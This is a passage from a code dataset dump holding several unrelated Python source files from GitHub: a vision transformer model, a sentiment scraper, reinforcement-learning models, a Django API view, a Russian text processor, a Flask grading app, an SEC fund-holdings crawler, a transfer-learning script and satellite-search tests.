dim=-1, largest=False)[1]\n noise[range(len(index)), index[:, 0]] = -1\n noise[range(len(index)), index[:, 1]] = -1\n else:\n raise NotImplementedError\n noise = rearrange(noise, '(n h w) (p1 p2)-> n (h p1 w p2) ', n=N, p1=2, p2=2, h=M // 2, w=M // 2)\n\n # sort noise for each sample\n ids_shuffle = torch.argsort(noise, dim=1) # ascend: small is keep, large is remove\n\n # keep the first subset\n ids_keep = ids_shuffle[:, :len_keep]\n x_masked = torch.gather(x, dim=1, index=ids_keep.unsqueeze(-1).repeat(1, 1, D))\n\n # to save memory, do not calculate the mask\n mask = None\n # ids_restore = torch.argsort(ids_shuffle, dim=1)\n # # generate the binary mask: 0 is keep, 1 is remove\n # mask = torch.ones([N, L], device=x.device)\n # mask[:, :len_keep] = 0\n # # unshuffle to get the binary mask\n # mask = torch.gather(mask, dim=1, index=ids_restore)\n return x_masked, mask\n\n def forward_features(self, x, mask):\n B, _, H, W = x.shape\n # img = x.clone()\n x = self.patch_embed(x)\n # add pos embed w/o cls token\n x = x + self.pos_embed[:, 1:, :]\n\n if self.mask_ratio is not None and self.mask_ratio > 0 and self.training:\n # masking: length -> length * mask_ratio\n if False:\n ids_shuffle = torch.argsort(mask, dim=1) # ascend: small is keep, large is remove\n ids_keep = ids_shuffle[:, :14 * 14]\n x = torch.gather(x, dim=1, index=ids_keep.unsqueeze(-1).repeat(1, 1, 1024))\n else:\n assert mask is None\n x, mask = self.masking(x)\n\n # save image\n # mean = np.array(IMAGENET_DEFAULT_MEAN).reshape(1, 1, -1)\n # std = np.array(IMAGENET_DEFAULT_STD).reshape(1, 1, -1)\n # N, L = mask.shape\n # M = int(L**0.5)\n # mask = mask.reshape(N, M, M)\n # mask = mask.repeat_interleave(H // M, 1).repeat_interleave(W // M, 2).unsqueeze(1).contiguous().permute(\n # 0, 2, 3, 1).cpu().numpy() # (N, H, W, 1)\n # img = img.permute(0, 2, 3, 1).cpu().numpy()\n # for i in range(N):\n # real_img = cv2.cvtColor(np.uint8(255 * ((img[i] * std) + mean)), cv2.COLOR_RGB2BGR)\n # mask_img = cv2.cvtColor(np.uint8(255 * ((img[i] * (1 - mask[i]) * std) + mean)), cv2.COLOR_RGB2BGR)\n # cv2.imwrite(f'images/{img[i][:2,0,0]}.png', np.concatenate([real_img, mask_img], 1))\n\n # append cls token\n cls_tokens = self.cls_token.expand(B, -1, -1) # stole cls_tokens impl from Phil Wang, thanks\n cls_tokens = cls_tokens + self.pos_embed[:, :1, :]\n x = torch.cat((cls_tokens, x), dim=1)\n\n x = self.pos_drop(x)\n\n for blk in self.blocks:\n x = blk(x)\n\n if self.global_pool:\n x = x[:, 1:, :].mean(dim=1) # global pool without cls token\n outcome = self.fc_norm(x)\n else:\n x = self.norm(x)\n outcome = x[:, 0]\n\n return outcome\n\n def forward(self, x, mask=None):\n x = self.forward_features(x, mask)\n x = self.head(x)\n return x\n\n\ndef vit_base_patch16(**kwargs):\n model = VisionTransformer(patch_size=16,\n embed_dim=768,\n depth=12,\n num_heads=12,\n mlp_ratio=4,\n qkv_bias=True,\n norm_layer=partial(nn.LayerNorm, eps=1e-6),\n **kwargs)\n return model\n\n\ndef vit_large_patch16(**kwargs):\n model = VisionTransformer(patch_size=16,\n embed_dim=1024,\n depth=24,\n num_heads=16,\n mlp_ratio=4,\n qkv_bias=True,\n norm_layer=partial(nn.LayerNorm, eps=1e-6),\n **kwargs)\n return model\n\n\ndef vit_large_patch8(**kwargs):\n model = VisionTransformer(patch_size=8,\n embed_dim=1024,\n depth=24,\n num_heads=16,\n mlp_ratio=4,\n qkv_bias=True,\n norm_layer=partial(nn.LayerNorm, eps=1e-6),\n **kwargs)\n return model\n\n\ndef vit_huge_patch14(**kwargs):\n model = VisionTransformer(patch_size=14,\n embed_dim=1280,\n depth=32,\n num_heads=16,\n mlp_ratio=4,\n qkv_bias=True,\n norm_layer=partial(nn.LayerNorm, eps=1e-6),\n **kwargs)\n return model\n","repo_name":"ylingfeng/snakeclef2022_fgvc9","sub_path":"models_vit.py","file_name":"models_vit.py","file_ext":"py","file_size_in_byte":6758,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"73470570116","text":"from requests.api import get\nfrom transformers import pipeline\nimport requests\n\ndef getPositivityRatio(link): \n classifier = pipeline(\"sentiment-analysis\")\n x = requests.get(link)\n rawtxt = x.text\n begg = \"Sorry about that. -->\"\n idx = rawtxt.find(begg)\n endidx = rawtxt.find(\"\", idx)\n lyrics = rawtxt[idx + len(begg) : endidx]\n splicedlyrics = lyrics.split('
\\n')\n countnegative = 0\n countpositive = 0\n\n for line in splicedlyrics:\n c = classifier(line)\n type = c[0][\"label\"]\n if type == \"POSITIVE\":\n countpositive += 1\n else:\n countnegative += 1\n\n return countpositive / (countpositive + countnegative)\n","repo_name":"CS196Illinois/Group28-FA21","sub_path":"Project/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25005058030","text":"import tensorflow as tf\nimport numpy as np\n\n\nclass ActorCritic(tf.keras.Model):\n def __init__(self):\n super(ActorCritic, self).__init__()\n self.share_model = tf.keras.Sequential(\n [tf.keras.layers.Dense(64, activation='relu'),\n tf.keras.layers.Dense(64, activation='relu'),\n ]\n )\n\n self.actor_model = tf.keras.Sequential(\n [tf.keras.layers.Dense(32, activation='relu'),\n tf.keras.layers.Dense(1, activation='tanh')]\n )\n\n self.critic_model = tf.keras.Sequential(\n [tf.keras.layers.Dense(32, activation='relu'),\n tf.keras.layers.Dense(1)\n ]\n )\n\n @tf.function\n def __call__(self, x):\n share_obs = self.share_model(x)\n action = self.actor_model(share_obs)\n value = self.critic_model(share_obs)\n\n return action, value\n\n def actor(self, obs):\n share_obs = self.share_model(obs)\n action = self.actor_model(share_obs)\n return action\n\n def critic(self, obs):\n share_obs = self.share_model(obs)\n value = self.critic_model(share_obs)\n\n return value\n\n\nclass LSTMActorCritic(tf.keras.Model):\n def __init__(self, size=3):\n super(LSTMActorCritic, self).__init__()\n\n self.share_lstm = tf.keras.layers.LSTM(32, input_shape=(size,), return_sequences=True, return_state=True)\n\n self.actor_model = tf.keras.Sequential(\n [tf.keras.layers.Dense(64, activation='relu'),\n tf.keras.layers.Dense(64, activation='relu'),\n tf.keras.layers.Dense(1, activation='tanh')]\n )\n\n self.critic_model = tf.keras.Sequential(\n [tf.keras.layers.Dense(64, activation='relu'),\n tf.keras.layers.Dense(64, activation='relu'),\n tf.keras.layers.Dense(1)\n ]\n )\n\n self.hidden_state = (tf.zeros(shape=(1, 32), dtype=tf.float32), tf.zeros(shape=(1, 32), dtype=tf.float32))\n\n # @tf.function\n def call(self, obs, initial_state=None, training=False, done=False):\n \"\"\"\n 该函数用于optimize过程\n :param done:\n :param inputs:(batchsize,time, obs)\n :param initial_state:tuple (last_seq, hidden_state)\n :param training:\n :return:\n \"\"\"\n if initial_state is not None:\n self.hidden_state = initial_state\n # self.hidden_state = hidden_state\n # else:\n # self.hidden_state = (tf.zeros(shape=(1, 32), dtype=tf.float32), tf.zeros(shape=(1, 32), dtype=tf.float32))\n\n if done:\n self.hidden_state = (tf.zeros(shape=(1, 32), dtype=tf.float32), tf.zeros(shape=(1, 32), dtype=tf.float32))\n\n whole_seq, last_seq, hidden_state = self.share_lstm(obs, self.hidden_state, training=training)\n hidden_state = (last_seq, hidden_state)\n\n self.hidden_state = hidden_state\n\n action, value = self.call_actor_critic(whole_seq, training=training)\n\n return action, value, hidden_state\n\n def _actor(self, obs, hidden_state):\n whole_seq, last_seq, hidden_state = self.share_lstm(obs, hidden_state)\n\n action = self.actor_model(last_seq)\n\n return action, hidden_state\n\n def actor(self, obs, done):\n\n if done:\n self.hidden_state = (tf.zeros(shape=(1, 32), dtype=tf.float32), tf.zeros(shape=(1, 32)))\n\n action, hidden_state = self._actor(obs, self.hidden_state)\n\n self.hidden_state = hidden_state\n\n return action, np.hstack(hidden_state)\n\n def critic(self, obs):\n share_obs = self.share_model(obs)\n value = self.critic_model(share_obs)\n\n return value\n\n @tf.function\n def call_actor_critic(self, whole_seq, training):\n action = self.actor_model(whole_seq, training=training)\n value = self.critic_model(whole_seq, training=training)\n\n return action, value\n\n\nif __name__ == '__main__':\n obs = tf.random.normal((2, 1, 2), dtype=tf.float32)\n model = LSTMActorCritic()\n action, value, hidden_state = model(obs)\n\n print(tf.squeeze(action))\n print(value)\n print(hidden_state)\n","repo_name":"yangtao121/AquaRL","sub_path":"example/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4138,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"62"} +{"seq_id":"21958466156","text":"from collections import OrderedDict\n\nfrom django.db.models import Q\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom accelerator.models import (\n Startup,\n StartupStatus,\n)\nfrom impact.permissions import (\n V0APIPermissions,\n)\nfrom impact.utils import compose_filter\nfrom impact.v0.api_data.startup_list_data import StartupListData\nfrom impact.v0.views.utils import (\n BADGE_DISPLAYS,\n base_program_url,\n logo_url,\n status_description,\n)\n\n\nSTARTUP_TO_LIST_TAB_ID = [\n \"startupstatus\",\n \"program_startup_status\",\n \"startup_list_tab_id\",\n]\nSTARTUP_TO_PROGRAM = [\n \"startupstatus\",\n \"program_startup_status\",\n \"program\",\n]\nSTARTUP_TO_STATUS_GROUP = [\n \"startupstatus\",\n \"program_startup_status\",\n \"status_group\",\n]\nSTARTUP_IN_STATUSES = [\"startupstatus\", \"program_startup_status\", \"in\"]\nSTARTUP_TO_STEALTH_STATUS = [\n \"startupstatus\",\n \"program_startup_status\",\n \"include_stealth_startup_names\",\n]\n\n\nclass StartupListView(APIView):\n permission_classes = (\n V0APIPermissions,\n )\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def post(self, request):\n self.data = StartupListData(request.data)\n if self.data.valid():\n result = self._calc_result()\n result.update(self._add_status_fields())\n return Response(result)\n return Response(status=404, data=self.data.errors)\n\n def _add_status_fields(self):\n if self.data.startup_statuses:\n first_pss = self.data.startup_statuses.first()\n return {\n \"status\": first_pss.startup_list_tab_title,\n \"status_description\": first_pss.startup_list_tab_description,\n }\n return {}\n\n def _calc_result(self):\n self.base_url = base_program_url(self.data.program)\n if not self.data.group_by:\n return self._startup_data()\n if self.data.group_by == self.data.INDUSTRY_GROUP_BY:\n return self._industry_group_data()\n elif self.data.group_by.startswith(self.data.STATUS_GROUP_PREFIX):\n return self._status_group_data()\n\n def _industry_group_data(self):\n startups = self._find_startups().prefetch_related(\n \"primary_industry\",\n \"primary_industry__parent\")\n return self._generate_group_data(startups, _top_level_industry)\n\n def _generate_group_data(self, startups, group_function):\n statuses = self._startups_to_statuses(startups)\n self.groups = OrderedDict() # Make sure \"All\" stays first\n for startup in startups:\n description = _startup_description(startup,\n statuses.get(startup.id, []),\n self.base_url)\n if self.data.all_group == self.data.YES:\n self._add_description(self.data.ALL_INDUSTRY, description)\n self._add_description(group_function(startup), description)\n return self._serialize_groups()\n\n def _status_group_data(self):\n status_group = self.data.group_by[len(self.data.STATUS_GROUP_PREFIX):]\n startups = self._find_startups().filter(\n **compose_filter(STARTUP_TO_STATUS_GROUP,\n status_group))\n return self._generate_group_data(startups, lambda _: status_group)\n\n def _add_description(self, name, description):\n group = self.groups.get(name, [])\n group.append(description)\n self.groups[name] = group\n\n def _serialize_groups(self):\n groups = []\n for name, startups in self.groups.items():\n groups.append({\"group_title\": name,\n \"startups\": startups})\n return {\"groups\": groups}\n\n def _startup_data(self):\n startups = self._find_startups()\n statuses = self._startups_to_statuses(startups)\n return {\n \"startups\": [_startup_description(startup,\n statuses.get(startup.id, []),\n self.base_url)\n for startup in startups]\n }\n\n def _find_startups(self):\n startups = Startup.objects.filter(\n startupstatus__program_startup_status__program=self.data.program)\n if self.data.startup_statuses:\n startups = startups.filter(\n **compose_filter(STARTUP_IN_STATUSES,\n self.data.startup_statuses))\n # The following assumes that if any of the\n # ProgramStartupStatuses in this group are not\n # approved to include stealth startups then\n # stealth startups are excluded.\n if self.data.startup_statuses.filter(\n include_stealth_startup_names=False):\n startups = startups.exclude(is_visible=False)\n else:\n non_stealth = Q(is_visible=True)\n has_stealth_status = Q(**compose_filter(STARTUP_TO_STEALTH_STATUS,\n True))\n startups = startups.filter(non_stealth | has_stealth_status)\n return self._add_ordering(startups.distinct())\n\n def _add_ordering(self, startups):\n if self.data.order_by == self.data.RANDOM_ORDER:\n return startups.order_by(\"?\")\n elif self.data.order_by == self.data.ALPHA_DSC_ORDER:\n return startups.order_by(\"-organization__name\")\n return startups.order_by(\"organization__name\")\n\n def _startups_to_statuses(self, startups):\n statuses = StartupStatus.objects.filter(\n program_startup_status__startup_list_include=True,\n program_startup_status__badge_display__in=BADGE_DISPLAYS,\n startup__in=startups).values_list(\n \"startup_id\",\n \"program_startup_status__startup_status\")\n result = {}\n for startup_id, startup_status in statuses:\n item = result.get(startup_id, [])\n item.append(startup_status)\n result[startup_id] = item\n return result\n\n\ndef _startup_description(startup, statuses, base_url):\n if startup.is_visible:\n return {\n \"is_visible\": True,\n \"name\": startup.name,\n \"id\": startup.id,\n \"profile_url\": base_url + startup.organization.url_slug,\n \"logo_url\": logo_url(startup),\n \"statuses\": [status_description(status) for status in statuses],\n }\n else:\n return {\n \"is_visible\": False,\n \"name\": startup.name,\n \"profile_url\": \"\",\n \"logo_url\": \"\",\n \"statuses\": [],\n }\n\n\ndef _top_level_industry(startup):\n if startup.primary_industry.parent:\n return startup.primary_industry.parent.name\n return startup.primary_industry.name\n","repo_name":"masschallenge/impact-api","sub_path":"web/impact/impact/v0/views/startup_list_view.py","file_name":"startup_list_view.py","file_ext":"py","file_size_in_byte":6933,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"6912026642","text":"import re\nimport pymorphy2\nimport nltk\nfrom stop_words import get_stop_words\n\n\nclass TextProcessor(object):\n \"\"\"\n A class for russian text processing i.e.:\n - Tokenizing\n - Normalizing\n - Removing punctuation\n - Counting and removing urls\n - And so on\n \"\"\"\n def __init__(self):\n # MorphAnalyzer instance (should be created only once)\n self.morph = pymorphy2.MorphAnalyzer()\n # MorphAnalyzer noun tag\n self.PYMORPHY_NOUN = \"NOUN\"\n\n # nltk RegexpTokenizer also removes punctuation\n self.tokenizer = nltk.tokenize.RegexpTokenizer(r\"\\w+\")\n\n # Some common stopwords\n self.stop_words = get_stop_words(\"ru\")\n\n # Used to remove [id123456789|username] in VK comments\n self.RE_REPLY = re.compile(r\"\\[(id|club)\\d+\\|.+\\]\")\n # Used to remove
which is \\n in VK posts\n self.RE_BR = re.compile(r\"
\")\n # I really suggest you not trying to understand how that works\n self.RE_URL = re.compile(\n r\"(?:(?:https?|ftp)://)\"\n r\"(?:\\S+(?::\\S*)?@)?\"\n r\"(?:(?:[1-9]\\d?|1\\d\\d|2[01]\\d|22[0-3])\"\n r\"(?:\\.(?:1?\\d{1,2}|2[0-4]\\d|25[0-5])){2}\"\n r\"(?:\\.(?:[1-9]\\d?|1\\d\\d|2[0-4]\\d|25[0-4]))|\"\n r\"(?:(?:[a-z\\u00a1-\\uffff0-9]+-?)*[a-z\\u00a1-\\uffff0-9]+)\"\n r\"(?:\\.(?:[a-z\\u00a1-\\uffff0-9]+-?)*[a-z\\u00a1-\\uffff0-9]+)*\"\n r\"(?:\\.(?:[a-z\\u00a1-\\uffff]{2,})))\"\n r\"(?::\\d{2,5})?(?:/[^\\s]*)?\")\n\n\n def extend_stopwords(self, custom_stopwords):\n \"\"\"\n Call this with list of your stop_words in unicode\n if you want to extend get_stop_words(\"ru\")\n \"\"\"\n error_text = \"custom_stopwords must be a list of unicode strings\"\n for word in custom_stopwords:\n if isinstance(word, unicode):\n self.stop_words.append(word)\n elif isinstance(word, string):\n try:\n self.stop_words.append(unicode(word))\n except UnicodeDecodeError:\n raise UnicodeError(error_text)\n else:\n raise UnicodeError(error_text)\n\n def tokenize(self, doc):\n \"\"\"\n Tokenizing doc\n Also removes punctuation\n \"\"\"\n return self.tokenizer.tokenize(doc)\n\n def normalize_token(self, token):\n \"\"\"\n Puts token into its normal_form\n \"\"\"\n return self.morph.parse(token)[0].normal_form\n\n def normalize_doc(self, doc):\n \"\"\"\n Saves the structure, but puts all words into their normal_form\n \"\"\"\n doc = self.remove_urls(doc)\n doc = self.remove_brs(doc)\n tokens = self.tokenizer.tokenize(doc)\n normalized = [self.normalize_token(t) for t in tokens]\n return \" \".join(normalized)\n\n def remove_urls(self, doc):\n \"\"\"\n Returns doc cleaned of url links\n \"\"\"\n return self.RE_URL.sub(\" \", doc)\n\n def remove_brs(self, doc):\n \"\"\"\n Removes
\n \"\"\"\n return self.RE_BR.sub(\" \", doc)\n\n def remove_replies(self, doc):\n \"\"\"\n Removes [id/club123456789|username]\n \"\"\"\n return self.RE_REPLY.sub(\" \", doc)\n\n def count_urls(self, doc):\n \"\"\"\n Counts urls\n Returns a dict {url: amount in doc}\n \"\"\"\n urls = self.RE_URL.findall(doc)\n unique_urls = set(urls)\n return {u: urls.count(u) for u in unique_urls}\n\n def prepare_for_lda(self, doc, only_nouns=True):\n \"\"\"\n Preparing doc for lda\n by filtering from garbage of any kind\n \"\"\"\n # Removing links\n doc = self.remove_urls(doc)\n # Removing
\n doc = self.remove_brs(doc)\n # Removing replies\n doc = self.remove_replies(doc)\n\n # Tokenizing\n tokens = self.tokenize(doc)\n\n # Normalizing\n normalized = []\n for t in tokens:\n parsed = self.morph.parse(t)[0]\n is_noun = parsed.tag.POS == self.PYMORPHY_NOUN\n if only_nouns and not is_noun:\n continue\n normalized.append(parsed.normal_form)\n\n # Applying stopwords filtering\n filtered = [w for w in normalized if w not in self.stop_words]\n\n return filtered\n","repo_name":"rnowrang/ML-Lines-and-Tubes","sub_path":"src/TextProcessor.py","file_name":"TextProcessor.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24036329752","text":"from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n@app.route('/')\ndef inicio():\n return render_template('index.html')\n\n@app.route('/evaluacion1', methods=['GET', 'POST'])\ndef evaluaCion1():\n if request.method == 'POST':\n Nota1 = float(request.form['Nota1'])\n Nota2 = float(request.form['Nota2'])\n Nota3 = float(request.form['Nota3'])\n resultado1 = (Nota1 + Nota2 + Nota3)/3\n Asistencia = float(request.form['Asistencia'])\n if Asistencia >= 80 and resultado1 >= 40:\n estado = \"APROBADO\"\n else:\n estado = \"REPROBADO\"\n\n return render_template('evaluacion1.html', resultado1=resultado1, estado=estado, Nota1=Nota1, Nota2=Nota2, Nota3=Nota3, Asistencia=Asistencia)\n return render_template('evaluacion1.html')\n\n\n\n@app.route('/evaluacion2', methods=['GET', 'POST'])\ndef evaluaCion2():\n if request.method == 'POST':\n Nombre1 = str(request.form['Nombre1'])\n Nombre2 = str(request.form['Nombre2'])\n Nombre3 = str(request.form['Nombre3'])\n resultado1 = len(Nombre1)\n resultado2 = len(Nombre2)\n resultado3 = len(Nombre3)\n if resultado1 >= resultado2 and resultado3:\n estado1 = \"contiene mas caracteres\"\n return render_template('evaluacion2.html', estado1=estado1, resultado1=resultado1, resultado2=resultado2, resultado3=resultado3, Nombre1=Nombre1, Nombre2=Nombre2, Nombre3=Nombre3)\n return render_template('evaluacion2.html')\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"Leoskills/Evaluacion_3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14775458777","text":"from bs4 import BeautifulSoup\nimport xml.etree.ElementTree as ET\nimport urllib\nimport sys\nimport display_funds\n\n\n'''\nThe function getCIKFromTicker is used to retrieve the CIK a specific company\n@param targetTicker\n\t\tTicker for the target company. Eg: ibm\n@return targetCIK\n\t\tCIK no for the target company.\t\n'''\ndef getCIKFromTicker(targetTicker):\n\n\ttargetURL = \"https://www.sec.gov/cgi-bin/browse-edgar?CIK=\"+targetTicker+\"&Find=Search&owner=exclude&action=getcompany&output=atom\"\n\treader = urllib.urlopen(targetURL).read()\n\tcontent = BeautifulSoup(reader, \"html.parser\")\n\tcik = content.select('cik')\n\ttargetCIK = cik[0].getText()\n\treturn targetCIK\n\n'''\nThe function fundHoldingCrawler is used to retrieve the contents of the http://www.sec.gov/cgi-bin/browse-edgar?CIK=0001166559&Find=Search&owner=exclude&action=getcompany\nand parse its content to find the 13F-HR report link.\n@param targetTicker\n\t\tTicker for the target company. Eg: ibm\n@return links[0]\n\t\tHyperlink to the 13F-HR report page .\n'''\ndef fundHoldingCrawler(targetTicker):\n\tlinks = []\n\ttargetCIK = getCIKFromTicker(targetTicker)\n\ttargetURL = \"https://www.sec.gov/cgi-bin/browse-edgar?CIK=\"+targetCIK+\"&Find=Search&owner=exclude&action=getcompany\"\n\treader = urllib.urlopen(targetURL).read()\n\tcontent = BeautifulSoup(reader, \"html.parser\")\n\ttr = content.find('table', {'class': 'tableFile2'}).find_all(\"tr\")\n\tfor row in tr:\n\t\ttry:\n\t\t\tcells = row.findAll(\"td\")\n\t\t\trn = cells[0].get_text()\n\t\t\tif rn == '13F-HR':\n\t\t\t\tlinks.append(cells[1].find('a').get('href'))\n\t\texcept:\n\t\t\tpass\n\tif len(links) > 0:\n\t\treturn links[0]\n\telse:\n\t\treturn None\n\n'''\nThe function fundHoldinglistCrawler is used to crawl the 13F-HR report page and find the hyperlink to the page \nwhere the fund holding information is stored in a txt file.\n@param reportURL\n URL to the 13F-HR report page\n@return\n Hyperlink to the page where the txt file is stored\n'''\ndef fundHoldinglistCrawler(reportURL):\n\ttargetURL = \"http://www.sec.gov\"+reportURL\n\treader = urllib.urlopen(targetURL).read()\n\tcontent = BeautifulSoup(reader, \"html.parser\")\n\ttr = content.find('table', {'class': 'tableFile'})\n\n\tfor row in tr:\n\t\ttry:\n\t\t\tcells = row.findAll(\"td\")\n\t\t\trn = cells[1].get_text()\n\t\t\tif rn == 'Complete submission text file':\n\t\t\t\treturn cells[2].find('a').get('href')\n\t\texcept:\n\t\t\tpass\n\treturn None\n\n'''\nThe function finalCrawl is used to crawl the final page where the fund holding information is stored. \nUses the functions from the 'display_funds' module to generate the output at the terminal.\n@param finalURL\n URL to the page where the information is stored in an XML\n'''\ndef finalCrawl(finalURL):\n\ttargetURL = \"https://www.sec.gov/\"+finalURL\n\treader = urllib.urlopen(targetURL).read()\n\tcontent = BeautifulSoup(reader, \"lxml-xml\")\n\tdisplay_funds.headerInfoDisplay(content)\n\tdisplay_funds.infoTableDisplay(content)\n\n\n\n\n\n\n\t\t\n\t\n\n\n","repo_name":"vinothkumar6692/fund-holdings-crawler","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32211293645","text":"# USAGE\n# python3 17flowers_with_transferlearning.py\n\n# import the necessary packages\nfrom keras.applications import VGG16\nfrom keras.applications import imagenet_utils\nfrom sklearn.metrics import classification_report\nfrom keras.preprocessing.image import img_to_array\nfrom keras.preprocessing.image import load_img\nfrom sklearn.preprocessing import LabelEncoder\nfrom imutils import paths\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import GridSearchCV\nimport numpy as np\nimport random\nimport os\n\n# store the batch size in a convenience variable\nbs = 30\n\n# grab the list of images that we'll be describing then randomly\n# shuffle them to allow for easy training and testing splits via\n# array slicing during training time\nprint(\"[INFO] loading images...\")\nimagePaths = list(paths.list_images(\"./images\"))\nrandom.shuffle(imagePaths)\n\n# extract the class labels from the image paths then encode the\n# labels\nlabels = [p.split(os.path.sep)[-2] for p in imagePaths]\nle = LabelEncoder()\nlabels = le.fit_transform(labels)\nlabel_names = le.classes_\n\n# load the VGG16 network\nprint(\"[INFO] loading network...\")\nmodel = VGG16(weights=\"imagenet\", include_top=False)\nalldata = {\"features\": [], \"labels\": []}\n# loop over the images in patches\nfor i in np.arange(0, len(imagePaths), bs):\n # extract the batch of images and labels, then initialize the\n # list of actual images that will be passed through the network\n # for feature extraction\n batchPaths = imagePaths[i:i + bs]\n batchLabels = labels[i:i + bs]\n batchImages = []\n\n # loop over the images and labels in the current batch\n for (j, imagePath) in enumerate(batchPaths):\n # load the input image using the Keras helper utility\n # while ensuring the image is resized to 224x224 pixels\n image = load_img(imagePath, target_size=(224, 224))\n image = img_to_array(image)\n\n # preprocess the image by (1) expanding the dimensions and\n # (2) subtracting the mean RGB pixel intensity from the\n # ImageNet dataset\n image = np.expand_dims(image, axis=0)\n image = imagenet_utils.preprocess_input(image)\n\n # add the image to the batch\n batchImages.append(image)\n # pass the images through the network and use the outputs as\n # our actual features\n batchImages = np.vstack(batchImages)\n features = model.predict(batchImages, batch_size=bs)\n # reshape the features so that each image is represented by\n # a flattened feature vector of the `MaxPooling2D` outputs\n features = features.reshape((features.shape[0], 512 * 7 * 7))\n alldata[\"features\"].extend(features)\n alldata[\"labels\"].extend(batchLabels)\n\n# train the network\ni = round(len(alldata[\"features\"]) * 0.75)\n\n# define the set of parameters that we want to tune then start a\n# grid search where we evaluate our model for each value of C\nprint(\"[INFO] tuning hyperparameters...\", i)\nparams = {\"C\": [0.1, 1.0, 10.0, 100.0, 1000.0, 10000.0]}\nmodel = GridSearchCV(LogisticRegression(), params, cv=3,\n\tn_jobs=-1)\nmodel.fit(alldata[\"features\"][:i], alldata[\"labels\"][:i])\nprint(\"[INFO] best hyperparameters: {}\".format(model.best_params_))\n\n# evaluate the model\nprint(\"[INFO] evaluating...\")\npreds = model.predict(alldata[\"features\"][i:])\nprint(classification_report(alldata[\"labels\"][i:], preds,\n\ttarget_names=label_names))\n","repo_name":"shank10/CV_data_aug","sub_path":"17flowers_with_transferlearning.py","file_name":"17flowers_with_transferlearning.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7573268915","text":"import os\nimport sys\nimport unittest\nfrom unittest.mock import patch\nimport json\nimport shutil\n\nfrom satsearch.cli import main, SatUtilsParser, cli\n\n\ntestpath = os.path.dirname(__file__)\n\n\nclass Test(unittest.TestCase):\n \"\"\" Test main module \"\"\"\n\n @classmethod\n def get_test_parser(cls):\n \"\"\" Get testing parser with search and load subcommands \"\"\"\n parser = SatUtilsParser.newbie(description='sat-search testing')\n return parser\n\n def test_empty_parse_args(self):\n \"\"\" Parse empty arguments \"\"\"\n parser = self.get_test_parser() #import pdb; pdb.set_trace()\n with self.assertRaises(SystemExit):\n args = parser.parse_args([]) \n\n def test_empty_parse_search_args(self):\n \"\"\" Parse empty arguments \"\"\"\n parser = self.get_test_parser()\n args = parser.parse_args(['search'])\n self.assertEqual(len(args), 3)\n self.assertFalse(args['found'])\n\n def test_parse_args(self):\n \"\"\" Parse arguments \"\"\"\n parser = self.get_test_parser()\n args = 'search --datetime 2017-01-01 -q eo:cloud_cover<10 platform=sentinel-2a'.split(' ')\n \n args = parser.parse_args(args)\n self.assertEqual(len(args), 5)\n self.assertEqual(args['datetime'], '2017-01-01')\n #assert(args['eo:cloud_cover'] == '0/20')\n #self.assertEqual(args['cloud_from'], 0)\n #self.assertEqual(args['cloud_to'], 20)\n #self.assertEqual(args['satellite_name'], 'Landsat-8')\n #self.assertEqual(args['dayOrNight'], 'DAY')\n\n def _test_parse_args_badcloud(self):\n parser = self.get_test_parser()\n with self.assertRaises(ValueError):\n args = parser.parse_args('search --datetime 2017-01-01 -q platform=sentinel-2a'.split(' '))\n\n def test_main(self):\n \"\"\" Run main function \"\"\"\n items = main(datetime='2020-01-01', collections=['sentinel-s2-l1c'], query=['eo:cloud_cover=0', 'data_coverage>80'])\n self.assertEqual(len(items), 207)\n\n def test_main_found(self):\n \"\"\" Run main function \"\"\"\n found = main(datetime='2020-01-01', found=True)\n min_found = 17819\n assert(found >= min_found)\n\n def test_main_load(self):\n items = main(items=os.path.join(testpath, 'scenes.geojson'))\n assert(len(items) == 2)\n\n def test_main_options(self):\n \"\"\" Test main program with output options \"\"\"\n fname = os.path.join(testpath, 'test_main-save.json')\n items = main(datetime='2020-01-01', save=fname, printcal=True, printmd=[],\n collections=['sentinel-s2-l2a'], query=['eo:cloud_cover=0', 'data_coverage>80'])\n min_items = 212\n assert(len(items), min_items)\n self.assertTrue(os.path.exists(fname))\n os.remove(fname)\n self.assertFalse(os.path.exists(fname))\n\n def test_cli(self):\n \"\"\" Run CLI program \"\"\"\n with patch.object(sys, 'argv', 'sat-search search --datetime 2017-01-01 --found -q platform=sentinel-2b'.split(' ')):\n cli()\n\n def test_cli_intersects(self):\n cmd = 'sat-search search --intersects %s -q platform=sentinel-2b --found' % os.path.join(testpath, 'aoi1.geojson')\n with patch.object(sys, 'argv', cmd.split(' ')):\n cli() \n\n def test_main_download(self):\n \"\"\" Test main program with downloading \"\"\"\n with open(os.path.join(testpath, 'aoi1.geojson')) as f:\n aoi = json.load(f)\n filename_template = os.path.join(testpath, \"test-download/${platform}/${id}\")\n items = main(datetime='2020-06-07', intersects=aoi['geometry'],\n filename_template=filename_template, download=['thumbnail', 'info'], **{'collections': ['sentinel-s2-l1c']})\n for item in items:\n bname = os.path.splitext(item.get_path(filename_template))[0]\n assert(os.path.exists(bname + '_thumbnail.jpg'))\n assert(os.path.exists(bname + '_info.json'))\n 